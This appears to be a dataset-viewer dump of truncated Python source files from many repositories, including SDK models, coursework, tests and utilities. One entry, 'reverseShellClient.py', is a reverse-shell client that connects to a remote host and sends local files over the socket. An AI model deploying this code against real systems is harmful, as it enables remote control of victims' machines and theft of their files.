result.pop(0)
b=''.join(result)[0:]
break
else:
a=a... | [
"[email protected]"
] | |
742e6ea7de50bcac003bc3d80347733854493805 | bc54edd6c2aec23ccfe36011bae16eacc1598467 | /simscale_sdk/models/one_of_velocity_inlet_bc_net_radiative_heat_flux.py | b26f7a002aaa6f9893e3aa80e77d6c8f7b0d3f5c | [
"MIT"
] | permissive | SimScaleGmbH/simscale-python-sdk | 4d9538d5efcadae718f12504fb2c7051bbe4b712 | 6fe410d676bf53df13c461cb0b3504278490a9bb | refs/heads/master | 2023-08-17T03:30:50.891887 | 2023-08-14T08:09:36 | 2023-08-14T08:09:36 | 331,949,105 | 17 | 5 | null | null | null | null | UTF-8 | Python | false | false | 6,040 | py | # coding: utf-8
"""
SimScale API
The version of the OpenAPI document: 0.0.0
Generated by: https://openapi-generator.tech
"""
import pprint
import re # noqa: F401
import six
from simscale_sdk.configuration import Configuration
class OneOfVelocityInletBCNetRadiativeHeatFlux(object):
"""NOTE: This... | [
"simscale"
] | simscale |
adacebb3ba78137de88beae5fab192ad6c360797 | 571ebcf06cc01309231a97a963f531f8dd90963d | /Hacking Scripts/reverseShellClient.py | 8d0e051c123e16c061dada96f83f7e7f1da281dc | [] | no_license | SV-ZeroOne/Python-Projects | 3da0ec813e2764d5a3cd8f1d9825e698e368a84e | 8820c346e0dde3b4023ce400cb722d08c1b4c52e | refs/heads/master | 2023-08-19T20:43:07.294205 | 2021-10-16T11:57:33 | 2021-10-16T11:57:33 | 95,302,475 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 804 | py | import socket
import subprocess
import os
def transfer(s, path):
if os.path.exists(path):
f = open(path, 'rb')
packet = f.read(1024)
while len(packet) > 0:
s.send(packet)
packet = f.read(1024)
s.send('DONE'.encode())
else:
s.send('File not found'.encode())
def connect():
s = socket.socket()
s.con... | [
"[email protected]"
] | |
5fef595807aff3c1ec3c72433953ec333d323341 | 15f321878face2af9317363c5f6de1e5ddd9b749 | /solutions_python/Problem_4/75.py | 8d4a612aa342b0b8858f654fcd10500e495a8f9b | [] | no_license | dr-dos-ok/Code_Jam_Webscraper | c06fd59870842664cd79c41eb460a09553e1c80a | 26a35bf114a3aa30fc4c677ef069d95f41665cc0 | refs/heads/master | 2020-04-06T08:17:40.938460 | 2018-10-14T10:12:47 | 2018-10-14T10:12:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 435 | py | import sys
f = open(sys.argv[1])
o = open(sys.argv[1].split('.')[0] + '.out', 'w')
nCases = int(f.readline().strip())
for case in range(nCases):
dimension = int(f.readline())
v1 = map(int, f.readline().strip().split())
v2 = map(int, f.readline().strip().split())
v1.sort()
v2.sort()
v2.reve... | [
"[email protected]"
] | |
bc291688aa3ce741509d6240563d380a29e2dd1a | 62d6a37e1fb1b224b53e14a1cf151ef0571aa20f | /orun/http/__init__.py | 5d27eb7d2410dda8fe4263aa9eb1974206200fbe | [] | no_license | katrid/orun | 4fa0f291a1ef43f16bc1857a170fc0b2e5e06739 | bfc6dae06182124ba75b1f3761d81ba8ca387dea | refs/heads/master | 2023-08-30T03:58:34.570527 | 2023-08-09T04:05:30 | 2023-08-09T04:05:30 | 66,562,767 | 14 | 4 | null | 2023-01-06T22:29:37 | 2016-08-25T14:01:44 | Python | UTF-8 | Python | false | false | 1,004 | py | from orun.http.cookie import SimpleCookie, parse_cookie
from orun.http.request import (
HttpRequest, QueryDict, RawPostDataException, UnreadablePostError,
)
from orun.http.response import (
BadHeaderError, FileResponse, Http404, HttpResponse,
HttpResponseBadRequest, HttpResponseForbidden, HttpResponseGone,
... | [
"[email protected]"
] | |
2f2e173cedfb3e0b03918438536ae26ad4faaab9 | 2ca998dd8361984c4d4312f80b0c4ff67fcc84f4 | /mid2names.py | 24c72dac715ed35ecb5f14d4fefbc984ac4b12ae | [] | no_license | rohitpatwa/dbExtend | 31a7f1935d240595bc10f3d3641c7d051abf2047 | dad7de67141edc3d7353c5f1762a8786b9e3b997 | refs/heads/master | 2022-03-31T04:16:06.719265 | 2020-01-22T23:28:20 | 2020-01-22T23:28:20 | 235,421,553 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,794 | py | """Create LUT from a given db
Script to create a LUT table with FID.MID as the keys and English names as values. The script assumes the file structure
to be F0001/MID1 for all FIDs. It then reads all the mid.csv files in the MID? folders and append them to a dataframe.
The purpose of this script is to prepare FIW for... | [
"[email protected]"
] | |
3784205655c4e6b4cfa9c7dfccd811231c871938 | ac15eda44e8dcfee6dff62f514c5b98a3382f50d | /python/les5/les5_3.py | f7632dd52e6ce6a4948be0711a402c746542fd4a | [] | no_license | yangruihan/raspberrypi | 5789c1a2e72d4012d46563d0644b08d032d346e6 | 22bc1a06b25e129a4314f4bc9cec5112affda136 | refs/heads/master | 2022-12-27T09:27:05.102020 | 2020-10-13T09:41:24 | 2020-10-13T09:41:24 | 32,977,936 | 4 | 0 | null | 2022-12-16T01:47:53 | 2015-03-27T09:30:43 | Java | UTF-8 | Python | false | false | 232 | py | #!/usr/bin/env python3
import pickle
with open('mydata.pickle', 'wb') as mysavedata:
pickle.dump([1, 2, 'three'], mysavedata)
with open('mydata.pickle', 'rb') as myrestoredata:
a_list = pickle.load(myrestoredata)
print(a_list)
| [
"[email protected]"
] | |
8b51fa52d6cef1d961cb8e29185932c1f2371400 | a95a398f7f1e4306367f22ff59a9da72a8c23b46 | /course-files/lectures/lecture_04/07_activity.py | c4bf8d853793765bb768a13eb6186ba70431a59a | [] | no_license | eecs110/spring2020 | 74ff8a317cf009aa727ad46e143e1c6619c83086 | a726d32c5eb418f4bf0fe27fae1f6479e4ae8140 | refs/heads/master | 2022-10-18T21:58:19.690897 | 2020-06-03T01:04:20 | 2020-06-03T01:04:20 | 251,242,896 | 0 | 0 | null | 2022-10-06T10:22:24 | 2020-03-30T08:17:53 | Python | UTF-8 | Python | false | false | 445 | py | from operator import add, mul, sub, truediv, mod, floordiv, pow
# for more info, see the docs: https://docs.python.org/3/library/operator.html
# Challenge: Create a custom function called "hypotenuse" that calculates
# the hypotenuse of any triangle. Then, invoke that function using the
# following triangle dimensi... | [
"[email protected]"
] | |
07d6d0d03eb9241e5ed49723bdf77dc4844cac19 | d07f4cd12b40fb4e009b4e36c4d8c0b42b35768d | /chalice/package.py | 642f4878836bd056bc1932395c3295c4d75224c8 | [
"Apache-2.0"
] | permissive | birkoff/chalice | b865d17d085dc92842da09d82033411001a2e01c | 83ffea3773519a26bf1c72ef48b33c149ccdcc2f | refs/heads/master | 2021-01-21T20:56:46.260466 | 2017-05-23T17:03:40 | 2017-05-23T17:03:40 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,897 | py | import os
import copy
import json
import hashlib
from typing import Any, Dict # noqa
from chalice import __version__ as chalice_version
from chalice.deploy.swagger import CFNSwaggerGenerator
from chalice.deploy.swagger import SwaggerGenerator # noqa
from chalice.deploy.packager import LambdaDeploymentPackager
from ... | [
"[email protected]"
] | |
6a87563d50a56154d56a3e17b55a97e0d205ef9b | aa3dc5ae4fa7d531bbaa75c3008031f2a1b8845d | /1460. Make Two Arrays Equal by Reversing Sub-arrays.py | bf19eb4de403cc17d243c4a1a98166c93118834e | [] | no_license | alankrit03/LeetCode_Solutions | 354e797d1d5f5a78b116c1f9a3034dd651d71d9a | f8ca46afdfbd67509dde63e9cdc5fd178b6f111b | refs/heads/master | 2021-01-08T17:41:22.976375 | 2020-11-03T17:01:37 | 2020-11-03T17:01:37 | 242,097,188 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 150 | py | class Solution:
def canBeEqual(self, target, arr) -> bool:
from collections import Counter
return Counter(target) == Counter(arr) | [
"[email protected]"
] | |
43f07e970a3ab93ee5c4e86d16c7fc72c4f5b1d9 | 64ff0d2b1f12c321e8fe44d0524bb444820b21f7 | /test/test_parser_yaml.py | 0c77dd18718c76c0ed43fed9d0a856c302417e4d | [
"BSD-2-Clause"
] | permissive | Aniket-Pradhan/python-odml | 8ffd460cd8560b03f439b46b85fc1c78292c6191 | 48e55a264e38829d90f3b8def37e4d2d7b39337f | refs/heads/master | 2020-12-04T11:32:21.717225 | 2020-01-16T06:34:09 | 2020-01-16T16:59:29 | 231,748,290 | 0 | 0 | NOASSERTION | 2020-01-04T10:58:14 | 2020-01-04T10:58:14 | null | UTF-8 | Python | false | false | 1,495 | py | import os
import unittest
import yaml
from odml.tools import dict_parser
from odml.tools.parser_utils import ParserException, InvalidVersionException
class TestYAMLParser(unittest.TestCase):
def setUp(self):
dir_path = os.path.dirname(os.path.realpath(__file__))
self.basepath = os.path.join(dir_... | [
"[email protected]"
] | |
56c2fc2b809384b7692cba50dfc269fcf1af96cc | e6f1137903b9658e5e3c1ee51201a931894303b9 | /deepiu/image_caption/algos/history/v1/show_and_tell_predictor.py | 63ca6f464f3d5f17f6249c5f15a71bc02c5e91e1 | [] | no_license | fword/hasky | 8ed69ef85bb34823d9ade27bb3b19aac02872440 | d3c680ffa04f7487b931a5575977798157b42b7e | refs/heads/master | 2021-01-23T01:18:49.275631 | 2017-03-18T13:01:27 | 2017-03-18T13:01:27 | 85,898,744 | 1 | 1 | null | 2017-03-23T02:39:06 | 2017-03-23T02:39:06 | null | UTF-8 | Python | false | false | 4,840 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# ==============================================================================
# \file show_and_tell_predictor.py
# \author chenghuige
# \date 2016-09-04 17:50:21.017234
# \Description
# ================================================... | [
"[email protected]"
] | |
4e3d7ecbd55853ed72a0d64d4f743af1f873e7b8 | ce4f1810b8011f05f4e9f8b67959b6a2994ac821 | /GAVOCoverage/temp-python/lib/python2.7/site-packages/pip/req/req_uninstall.py | 90a593628d08a707f6d3d9fc6c65406149bd8b5e | [] | no_license | Hyradus/VO_QGIS3.x_plugin | b11d3b18e473861b6d0733c3783c40af6e8eb039 | 9ab9acb4756c415797b5a7e64389978a84a32c23 | refs/heads/master | 2022-04-14T00:25:12.283460 | 2020-04-02T17:18:50 | 2020-04-02T17:18:50 | 248,215,617 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,937 | py | from __future__ import absolute_import
from builtins import object
import logging
import os
import tempfile
from pip.compat import uses_pycache, WINDOWS, cache_from_source
from pip.exceptions import UninstallationError
from pip.utils import rmtree, ask, is_local, renames, normalize_path
from pip.utils.logging import ... | [
"[email protected]"
] | |
c5c52a34b30735cf8048a66d5858079d6df8527b | f0d713996eb095bcdc701f3fab0a8110b8541cbb | /vAk9SBqYmj6hXKfrD_16.py | a18522316d4af7072720d687cb474b1b2f6e58b9 | [] | no_license | daniel-reich/turbo-robot | feda6c0523bb83ab8954b6d06302bfec5b16ebdf | a7a25c63097674c0a81675eed7e6b763785f1c41 | refs/heads/main | 2023-03-26T01:55:14.210264 | 2021-03-23T16:08:01 | 2021-03-23T16:08:01 | 350,773,815 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 424 | py | """
In this challenge, you have to implement a function that returns the given
distance `kilometers` converted into miles. You have to round the result up to
the fifth decimal digit.
### Examples
km_to_miles(2) ➞ 1.24274
km_to_miles(6) ➞ 3.72823
km_to_miles(8) ➞ 4.97097
### Notes
1 kilomete... | [
"[email protected]"
] | |
1955002f06ce2a8c4cb851a8219ebe39c214db28 | 8f0ee068dc5f78491812ee8fec4ecc4ad48be8b5 | /search/search.py | fc18b93f5127bdc5849bdba83db82fd26f0fd190 | [] | no_license | russkingit/Pacman-project-Artificial-Intellengence-python | b36dc48b12f35082b6ac2aac4620d50dec9b3ddf | 553618ed58de51a7c1d1eaa90fb0441dc9d8e34b | refs/heads/master | 2020-04-20T02:27:31.226385 | 2019-02-01T05:03:40 | 2019-02-01T05:03:40 | 168,390,049 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,893 | py | # search.py
# ---------
# Licensing Information: You are free to use or extend these projects for
# educational purposes provided that (1) you do not distribute or publish
# solutions, (2) you retain this notice, and (3) you provide clear
# attribution to UC Berkeley, including a link to http://ai.berkeley.edu.
#
# A... | [
"[email protected]"
] | |
0e04795723c5e4257eec9e7bdd971712e6369da2 | 32eeb97dff5b1bf18cf5be2926b70bb322e5c1bd | /benchmark/tintbrowser/testcase/firstcases/testcase7_023.py | fb1e9d767741ee7ec7143ea90c07655d38f16cfe | [] | no_license | Prefest2018/Prefest | c374d0441d714fb90fca40226fe2875b41cf37fc | ac236987512889e822ea6686c5d2e5b66b295648 | refs/heads/master | 2021-12-09T19:36:24.554864 | 2021-12-06T12:46:14 | 2021-12-06T12:46:14 | 173,225,161 | 5 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,905 | py | #coding=utf-8
import os
import subprocess
import time
import traceback
from appium import webdriver
from appium.webdriver.common.touch_action import TouchAction
from selenium.common.exceptions import NoSuchElementException, WebDriverException
desired_caps = {
'platformName' : 'Android',
'deviceName' : 'Android Emulat... | [
"[email protected]"
] | |
66ae5218e083cec68b52061e500c88077eb68ff4 | 0c95806a805e63a65ce524bac9f2c230c08787dc | /examples/get_temps.py | 18a948ce04c96b2251e7cff05c33435f375c1809 | [
"MIT"
] | permissive | chenchix/melcloud | 4a8e9684e4f38e63871ec543b6a1fdb22fc7628e | 64fe66195ca4e0811391f9b52670ff27954043de | refs/heads/master | 2022-08-16T01:34:40.749190 | 2020-05-29T08:27:40 | 2020-05-29T08:52:47 | 267,796,720 | 0 | 0 | null | 2020-05-29T07:40:36 | 2020-05-29T07:40:36 | null | UTF-8 | Python | false | false | 957 | py | # coding=utf-8
from melcloud import MELCloud
from melcloud.constants import Languages
__author__ = "Gareth Coles"
platform = MELCloud(Languages.EN)
platform.login("<EMAIL ADDRESS>", "<PASSWORD>")
if platform.logged_in:
print(f"Logged in as {platform.account.name}")
platform.load_devices()
for building i... | [
"[email protected]"
] | |
9df24ae01ad33110298fab7d26828948da2c375d | 65148257eabf62c5a60c5a2723792c3549887f49 | /froide/upload/models.py | 9ff7dd6fd021ba5cbe44e90f0ae71f86445b1fb8 | [
"MIT"
] | permissive | infoaed/froide | 083ba5d501f10c29f6f75bc7ae656ebee98fc08c | 532b626e62f6ad3d5017261d305721d00c16cd43 | refs/heads/master | 2021-02-11T17:20:02.449999 | 2020-03-02T17:01:19 | 2020-03-02T17:01:19 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,279 | py | import json
import os
import tempfile
import uuid
from django.db import models
from django.urls import resolve, Resolver404
from django.contrib.auth import get_user_model
from django.utils.translation import ugettext_lazy as _
from django.core.exceptions import ValidationError
from django.core.files import File
from ... | [
"[email protected]"
] | |
ac1630018ac308daa7325e487f00b2acbe3b7d63 | 1271ef78335bc7b3af9fd0d7e988edc3c3ff6edf | /python/models/sampling_model.py | 48c383d7637ce57ce95cecd01ee047b1d4f512cd | [] | no_license | BB8-2020/FARM-deforestation | 97b60699ae4468e3a53b5b970b395b2137047915 | 5b9df46ed6ff125f5697d6753a301bbf9538e555 | refs/heads/main | 2023-06-08T21:01:55.212018 | 2021-06-25T14:56:58 | 2021-06-25T14:56:58 | 351,037,514 | 0 | 0 | null | 2021-06-25T14:56:59 | 2021-03-24T10:28:56 | Jupyter Notebook | UTF-8 | Python | false | false | 2,708 | py | """File to host a modified unet implementation with emphasises on a additional up/downsampling layer."""
from keras import Input, Model
from keras import layers as keras_layers
def get_sampling_model(img_size: tuple = (512, 512), num_classes: int = 2) -> Model:
"""Create and return a UNET model.
Parameters
... | [
"[email protected]"
] | |
d91641c566c3d076846c9b064aa4cad9824e56fe | 243515329480040575331d2336152f4023fbc475 | /tests/test_interface.py | c7beecd72246899831b41544150867edc8d9ab96 | [
"MIT"
] | permissive | Ariyatina/skidl | 439eec7a6ae36a58fc052d8b827f88c89756cc13 | 5aace5c463403b29604a1dc2c32f4da8c86796d3 | refs/heads/master | 2023-07-18T09:23:24.173653 | 2021-07-21T13:54:39 | 2021-07-21T13:54:39 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,764 | py | import pytest
from skidl import *
from .setup_teardown import *
def test_interface_1():
"""Test interface."""
@subcircuit
def resdiv(gnd, vin, vout):
res = Part("Device", "R", dest=TEMPLATE)
r1 = res(value="1k")
r2 = res(value="500")
cap = Part("Device", "C", dest=TEMPL... | [
"[email protected]"
] | |
b3d298466335c9f5ca3764f658192afc3d03c556 | eb3683f9127befb9ef96d8eb801206cf7b84d6a7 | /stypy/sgmc/sgmc_cache/taxonomy/builtin_functions/slice/error_slice_parameters.py | 6c7b78a0cf9f6ccf806fb2b85a199b8498b304a2 | [] | no_license | ComputationalReflection/stypy | 61ec27333a12f76ac055d13f8969d3e0de172f88 | be66ae846c82ac40ba7b48f9880d6e3990681a5b | refs/heads/master | 2021-05-13T18:24:29.005894 | 2018-06-14T15:42:50 | 2018-06-14T15:42:50 | 116,855,812 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,607 | py |
# -*- coding: utf-8 -*-
"""
ORIGINAL PROGRAM SOURCE CODE:
1: # coding=utf-8
2: __doc__ = "slice method is present, but is invoked with a wrong number of parameters"
3:
4: if __name__ == '__main__':
5: # Call options
6: # (AnyType) -> <type 'slice'>
7: # (AnyType, AnyType) -> <type 'slice'>
8: # (AnyT... | [
"[email protected]"
] | |
63f5c6f169809e05a1c1c88bec3d9875c56284bd | 9743d5fd24822f79c156ad112229e25adb9ed6f6 | /xai/brain/wordbase/otherforms/_thudded.py | a00c7db9bd98c96d51333c65808b2fee71f3d38a | [
"MIT"
] | permissive | cash2one/xai | de7adad1758f50dd6786bf0111e71a903f039b64 | e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6 | refs/heads/master | 2021-01-19T12:33:54.964379 | 2017-01-28T02:00:50 | 2017-01-28T02:00:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 218 | py |
#calss header
class _THUDDED():
def __init__(self,):
self.name = "THUDDED"
self.definitions = thud
self.parents = []
self.childen = []
self.properties = []
self.jsondata = {}
self.basic = ['thud']
| [
"[email protected]"
] | |
5d6b71efebb6a271a66b3250e0e7046636ba5f4d | 32f5bc330388a96877d93fdd7b21599a40735400 | /Python/bitbybit.py | 4d3828f05ee797f54e45115008e3d6f1e9edac58 | [] | no_license | alexlwn123/kattis | 670180d86f0863328a16e12ed937c2fefb3226a2 | c1163bae3fdaf95c1087b216c48e7e19059d3d38 | refs/heads/master | 2021-06-21T16:26:15.642449 | 2020-12-24T20:59:10 | 2020-12-24T20:59:10 | 152,286,208 | 1 | 1 | null | 2018-10-14T22:40:09 | 2018-10-09T16:40:48 | Java | UTF-8 | Python | false | false | 891 | py | def main():
n = int(input())
while n:
bits = [-1 for i in range(32)]
for i in range(n):
line = input().split()
if line[0] == 'SET':
bits[int(line[1])] = 1
elif line[0] == 'CLEAR':
bits[int(line[1])] = 0
elif line[0] == 'AND':
i, j = int(line[1]), int(line[2])... | [
"[email protected]"
] | |
736d6c3a30b3f19c88dbb1dfae335929360d9d92 | 27e890f900bd4bfb2e66f4eab85bc381cf4d5d3f | /tests/unit/plugins/strategy/test_strategy_linear.py | 4c854f532cb71f360af50c823f22c8a95ec4c5f8 | [] | no_license | coll-test/notstdlib.moveitallout | eb33a560070bbded5032385d0aea2f3cf60e690b | 0987f099b783c6cf977db9233e1c3d9efcbcb3c7 | refs/heads/master | 2020-12-19T22:28:33.369557 | 2020-01-23T18:51:26 | 2020-01-23T18:51:26 | 235,865,139 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,853 | py | # Copyright (c) 2018 Ansible Project
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
# Make coding more python3-ish
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
from ansible_collections.notstdlib.moveitallout.tests.unit.compat im... | [
"[email protected]"
] | |
46f958cb763206d56bc7da152abd572fd4efbcdd | f848ebf1adb25cc6d188f43fb02c06dad1b01651 | /script/test_inrm_login_params.py | 5495769f03c5f39cd9e6a55464118c0e8a19183c | [] | no_license | miao88318/day03_apiTestIHRM | 673320c724d9a661fa9ed120a62e0d82118719d9 | 213e4a498055e693993b21ca2bc7942af2a25c74 | refs/heads/master | 2022-07-28T04:39:05.390142 | 2020-05-21T07:06:23 | 2020-05-21T07:06:23 | 265,769,499 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 978 | py | # 导包
import unittest
import logging
import requests
from parameterized import parameterized
import app
from api.login_api import TestLoginApi
from utils import assert_common, read_login_data
# 创建测试类,继承unittest.TestCase
class TestIHRMLogin(unittest.TestCase):
def setUp(self):
self.login_api = TestLoginApi... | [
"[email protected]"
] | |
f5066bcfc3cd5773cce13c4c7639419c5523cd4a | f83ef53177180ebfeb5a3e230aa29794f52ce1fc | /opencv/opencv-3.4.2/samples/python/tutorial_code/core/BasicGeometricDrawing/basic_geometric_drawing.py | ec25d64a455c231b53d1115a53f1480bab1b6d82 | [
"BSD-3-Clause",
"Apache-2.0"
] | permissive | msrLi/portingSources | fe7528b3fd08eed4a1b41383c88ee5c09c2294ef | 57d561730ab27804a3172b33807f2bffbc9e52ae | refs/heads/master | 2021-07-08T01:22:29.604203 | 2019-07-10T13:07:06 | 2019-07-10T13:07:06 | 196,183,165 | 2 | 1 | Apache-2.0 | 2020-10-13T14:30:53 | 2019-07-10T10:16:46 | null | UTF-8 | Python | false | false | 3,092 | py | import cv2 as cv
import numpy as np
W = 400
## [my_ellipse]
def my_ellipse(img, angle):
thickness = 2
line_type = 8
cv.ellipse(img,
(W / 2, W / 2),
(W / 4, W / 16),
angle,
0,
360,
(255, 0, 0),
t... | [
"[email protected]"
] | |
8524d570eba1d25b43e2af97a5dbfbeccd5cddf8 | fc73e7249e227e5507976bd3825af037fbe6b46b | /legacy/lcc_codes/lcc_ccvv.py | 9e7115bdb17baa96e0163bf5d61d2702fd92c978 | [
"LicenseRef-scancode-philippe-de-muyter"
] | permissive | mussard/SecondQuantizationAlgebra | 32d10d85abae82da343c9b41764802f3f541d551 | ee32159e24d510654a6d38df391b544ec9ffeb4a | refs/heads/master | 2020-03-17T21:46:28.875095 | 2019-07-10T17:31:26 | 2019-07-10T17:31:26 | 133,974,911 | 0 | 0 | null | 2018-05-18T15:50:13 | 2018-05-18T15:50:13 | null | UTF-8 | Python | false | false | 7,597 | py | import secondQuantizationAlgebra as sqa
import writeCode
import geraldCode
sqa.options.verbose = False
# definitions
tag_core = sqa.options.core_type
tag_active = sqa.options.active_type
tag_virtual = sqa.options.virtual_type
a = sqa.index('Va', [tag_virtual], True)
b = sqa.index('Vb', [tag_virtual], True)
c... | [
"[email protected]"
] | |
27e81b006347dc87e451cca4626b5d9a652d671e | 1eab574606dffb14a63195de994ee7c2355989b1 | /ixnetwork_restpy/testplatform/sessions/ixnetwork/vport/protocols/labelspace_buum91dgvsyw5nzs9sywjlbfnwywnl.py | 07c893743c85322fac1af7af913f0cc8e9d27226 | [
"MIT"
] | permissive | steiler/ixnetwork_restpy | 56b3f08726301e9938aaea26f6dcd20ebf53c806 | dd7ec0d311b74cefb1fe310d57b5c8a65d6d4ff9 | refs/heads/master | 2020-09-04T12:10:18.387184 | 2019-11-05T11:29:43 | 2019-11-05T11:29:43 | 219,728,796 | 0 | 0 | null | 2019-11-05T11:28:29 | 2019-11-05T11:28:26 | null | UTF-8 | Python | false | false | 3,341 | py | # MIT LICENSE
#
# Copyright 1997 - 2019 by IXIA Keysight
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"),
# to deal in the Software without restriction, including without limitation
# the rights to use, copy, modify,... | [
"[email protected]"
] | |
0e2bc5af47220d0e776cd4bfd2f23a7afeb398d4 | 789a540bbb79c334cbeaf3687876bfd939e4290b | /app/handlers/private/default/message/menu/sellers/show_category_sellers.py | db4caa4d7348436fd646cd2e4ad4ab67492dde55 | [] | no_license | ExissBrr/TRIGON-GARANT-BOT | 2cc96f5f6f195f4e76c164db4f8acafbfa5b7662 | 812acf060eb92e6fad21568a75e6dba7ce0da4d9 | refs/heads/main | 2023-07-04T18:22:43.507453 | 2021-08-17T14:51:30 | 2021-08-17T14:51:30 | 392,725,437 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,427 | py | from aiogram.dispatcher.filters import Command
from aiogram.types import Message
from app import keyboards
from app.data import text
from app.data.types.category_data import ServiceCategoryType
from app.data.types.links import category_link
from app.data.types.seller_data import SellerStatus
from app.loader import dp
... | [
"[email protected]"
] | |
076e2398568768a8a288eeb4e5dd7d351fd1ea99 | 0e1e643e864bcb96cf06f14f4cb559b034e114d0 | /Exps_7_v3/doc3d/Ablation4_ch016_ep003/Gather3_W_fix3blk_C_change/train/pyr_0s/L4/step09_0side_L4.py | f05661764ce1d26fa473aac73bbf00769cf8c4ad | [] | no_license | KongBOy/kong_model2 | 33a94a9d2be5b0f28f9d479b3744e1d0e0ebd307 | 1af20b168ffccf0d5293a393a40a9fa9519410b2 | refs/heads/master | 2022-10-14T03:09:22.543998 | 2022-10-06T11:33:42 | 2022-10-06T11:33:42 | 242,080,692 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,007 | py | #############################################################################################################################################################################################################
from step08_c_use_G_generate_I_w_M_to_Wx_Wy_Wz_focus_to_Cx_Cy_focus_combine import I_w_M_to_W_to_C
from step08_b_u... | [
"[email protected]"
] | |
cf9a6b4197df455636515613c5824e6d9f7308fb | 58afefdde86346760bea40690b1675c6639c8b84 | /leetcode/next-greater-element-iii/282256643.py | f2f7254ab8ded0ed13d4530720a51054bf710131 | [] | no_license | ausaki/data_structures_and_algorithms | aaa563f713cbab3c34a9465039d52b853f95548e | 4f5f5124534bd4423356a5f5572b8a39b7828d80 | refs/heads/master | 2021-06-21T10:44:44.549601 | 2021-04-06T11:30:21 | 2021-04-06T11:30:21 | 201,942,771 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 733 | py | # title: next-greater-element-iii
# detail: https://leetcode.com/submissions/detail/282256643/
# datetime: Thu Nov 28 18:18:27 2019
# runtime: 28 ms
# memory: 12.7 MB
import bisect
class Solution:
def nextGreaterElement(self, n: int) -> int:
if n < 10:
return -1
digits = []
whil... | [
"[email protected]"
] | |
3a408a86fe1300ed34d82149434b6881b3685bb5 | 80ea03860dedce77e53594472385657bfcd5b6cd | /test/test_cons.py | 963ab07dd3c8c669dd3fa0ffbe02335e985d7c7f | [] | no_license | RelationalAI-oss/relationalai-sdk-python | 434f0531226367d7eccc66ab6c77caafafaa3ce5 | fdea5fdec84231ae0bb3f2bfd32ed84e962052ae | refs/heads/master | 2023-06-10T01:48:05.624101 | 2021-06-29T15:07:44 | 2021-06-29T15:07:44 | 379,428,666 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 922 | py | """
Delve Client SDK
This is a Client SDK for Delve API # noqa: E501
The version of the OpenAPI document: 1.1.3
Contact: [email protected]
Generated by: https://openapi-generator.tech
"""
import sys
import unittest
import rai_api
from rai_api.model.cons_all_of import ConsAllOf
from rai_api... | [
"[email protected]"
] | |
9b57f8a69b3a2a57d25b3c849795e6816bdaf79f | 34cc1aeb6f7d0e612026905d12c85aeea989a83a | /host.py | ea56c1dc1b3f7bead8cf4ca8fd139af5b8e6233d | [] | no_license | mverzett/.bin | 83de7c0c0c16d75ca39df6c5ed95957f4ec79f9a | a1b652f5660c07690f61e79793372ad7e9d6099d | refs/heads/master | 2021-01-18T15:05:42.366559 | 2019-07-11T17:51:05 | 2019-07-11T17:51:05 | 8,330,975 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 755 | py | import os
host = os.environ['HOSTNAME']
public_html = ''
root_dir = ''
web_home = ''
#Site-dependent information
if 'wisc' in host:
public_html = '/afs/hep.wisc.edu/home/%s/public_html/' % os.environ['USER']
root_dir = 'public_html'
web_home = 'http://www.hep.wisc.edu/~mverzett'
elif 'cern.ch' in host:
... | [
"[email protected]"
] | |
c34762a2d3793cb0cfb3c1d72c81137d5420837e | 663c108dca9c4a30b7dfdc825a8f147ba873da52 | /venv/multithreading/56InterThreadComEventObjectRemoveConsumerSleep.py | b926cace99d531efc0f3c545ed4a68c5d8f0d0b3 | [] | no_license | ksrntheja/08-Python-Core | 54c5a1e6e42548c10914f747ef64e61335e5f428 | b5fe25eead8a0fcbab0757b118d15eba09b891ba | refs/heads/master | 2022-10-02T04:11:07.845269 | 2020-06-02T15:23:18 | 2020-06-02T15:23:18 | 261,644,116 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 811 | py | from threading import *
import time
def producer(event):
print("Producer thread producing items:")
print("Producer thread giving notification by setting event")
event.set()
def consumer(event):
print('Consumer sleeping')
time.sleep(3)
print(t1.getName(), 'is active:', t1.isAlive())
print... | [
"[email protected]"
] | |
be3ca6a59c8af3295105d05abd669f9eb2c92d43 | b042a014d668bd2d9e07bcfc756022137e5b0f97 | /module3-nosql-and-document-oriented-databases/assignment3.py | 2489aa19f8091748835faafd36ce7732de8ef74d | [
"MIT"
] | permissive | JeffreyAsuncion/DS-Unit-3-Sprint-2-SQL-and-Databases | 82895211b55b08b99e9c9c426f37cb04ba6f57c6 | 5d22fe0e2dd09c4130232b5f17c52e271d9b7f6b | refs/heads/master | 2022-11-24T10:48:13.916529 | 2020-08-01T05:06:58 | 2020-08-01T05:06:58 | 281,016,493 | 0 | 0 | null | 2020-07-20T04:51:39 | 2020-07-20T04:51:39 | null | UTF-8 | Python | false | false | 1,557 | py | # Store RPG data in our MongoDB instance
import os
import sqlite3
import pandas as pd
import pymongo
from dotenv import load_dotenv
from pymongo import MongoClient
from pdb import set_trace as breakpoint
#
# Part One: get data from 1. Sqlite or 2. Postgresql
#
DB_FILEPATH = os.path.join(os.path.dirname(__file__), ".... | [
"[email protected]"
] |
Subsets and Splits
No community queries yet
